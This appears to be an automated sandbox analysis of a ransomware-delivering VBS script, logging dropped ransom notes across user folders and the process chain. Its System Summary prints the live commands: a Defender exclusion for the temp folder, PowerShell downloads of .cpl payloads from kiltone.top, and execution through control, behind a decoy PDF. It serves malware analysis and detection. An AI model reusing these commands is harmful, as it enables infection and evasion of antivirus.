Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\ummbdneqbn\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\wkxewiotxi\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\xqachmzihu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\pictures\camera roll\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\pictures\saved pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\accountpictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\documents\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\documents\my music\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\documents\my pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\documents\my videos\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\downloads\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\public\libraries\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\.ms-ad\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\3d objects\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\collab\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\forms\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\jscache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\security\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\dc\security\crlcache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\acrobat\preflight acrobat continuous\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\crlogs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\crlogs\crashlogs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\flash player\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\flash player\nativecache\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\headlights\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\linguistics\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\logtransport2\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\logtransport2cc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\rttransfer\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\sonar\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\adobe\sonar\sonarcc\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\com.adobe.dunamis\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\com.adobe.dunamis\56079431-ea46-4833-94f9-1ff5658cdb1c\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\com.adobe.dunamis\61f56613-c62c-4b17-84dd-62b60d5776aa\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\com.adobe.dunamis\6d9d9777-7ded-4768-8191-9a707d72b009\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\com.adobe.dunamis\f2eb6c79-671d-4de2-b7be-3b2eea7abc47\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\addins\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\credentials\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\crypto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\crypto\keys\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\crypto\rsa\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-2246122658-3693405117-2476756634-1003\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\excel\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\excel\xlstart\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\implicitappshortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\userdata\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\internet explorer\userdata\low\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\network\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\network\connections\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\network\connections\pbk\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\network\connections\pbk\_hiddenpbk\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\protect\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\protect\s-1-5-21-2246122658-3693405117-2476756634-1003\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\speech\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\spelling\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\systemcertificates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\certificates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\crls\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\systemcertificates\my\ctls\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\vault\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\accountpictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\cloudstore\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\libraries\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\network shortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\printer shortcuts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\recent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\recent\automaticdestinations\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\recent items\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\sendto\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\accessibility\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\accessories\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\administrative tools\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\chrome apps\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\maintenance\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\system tools\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\windows powershell\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\templates\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\themes\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\microsoft\windows\themes\cachedfiles\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\extensions\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\crash reports\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\crash reports\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\pending pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\bookmarkbackups\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\crashes\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\crashes\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\archived\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\archived\2023-10\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\glean\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\glean\db\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\glean\events\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\glean\pending_pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\datareporting\glean\tmp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\minidumps\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\saved-telemetry-pings\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\security_state\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\sessionstore-backups\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\default\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1657114595amcateirvtisty.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\temporary\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\bhsw2cld.default-release\storage\to-be-removed\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\appdata\roaming\mozilla\firefox\profiles\c6rta27r.default\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\contacts\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\cookies\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\documents\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\downloads\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\favorites\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\favorites\links\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\links\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\onedrive\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\recent\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\saved games\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: c:\users\user\searches\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile moved: C:\Users\user\Desktop\QVTVNIBKSD.docx
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile moved: C:\Users\user\Desktop\XQACHMZIHU\FACWLRWHGG.pdf
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile deleted: C:\Users\user\Desktop\XQACHMZIHU\FACWLRWHGG.pdf
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile moved: C:\Users\user\Desktop\MQAWXUYAIK\QVTVNIBKSD.xlsx
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile moved: C:\Users\user\Desktop\MQAWXUYAIK.xlsx

System Summary

barindex
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\eryy65ty.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\fjeljies.cplJump to dropped file
Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmpJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmpJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmpJump to behavior
Source: NOTIFICATION_OF_DEPENDANTS.vbsInitial sample: Strings found which are bigger than 50
Source: classification engineClassification label: mal100.rans.phis.troj.spyw.expl.evad.winVBS@100/821@5/6
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome AppsJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1852:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4220:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8800:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8540:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:876:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7144:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7512:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8808:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8300:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8468:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7004:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7428:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1632:120:WilError_03
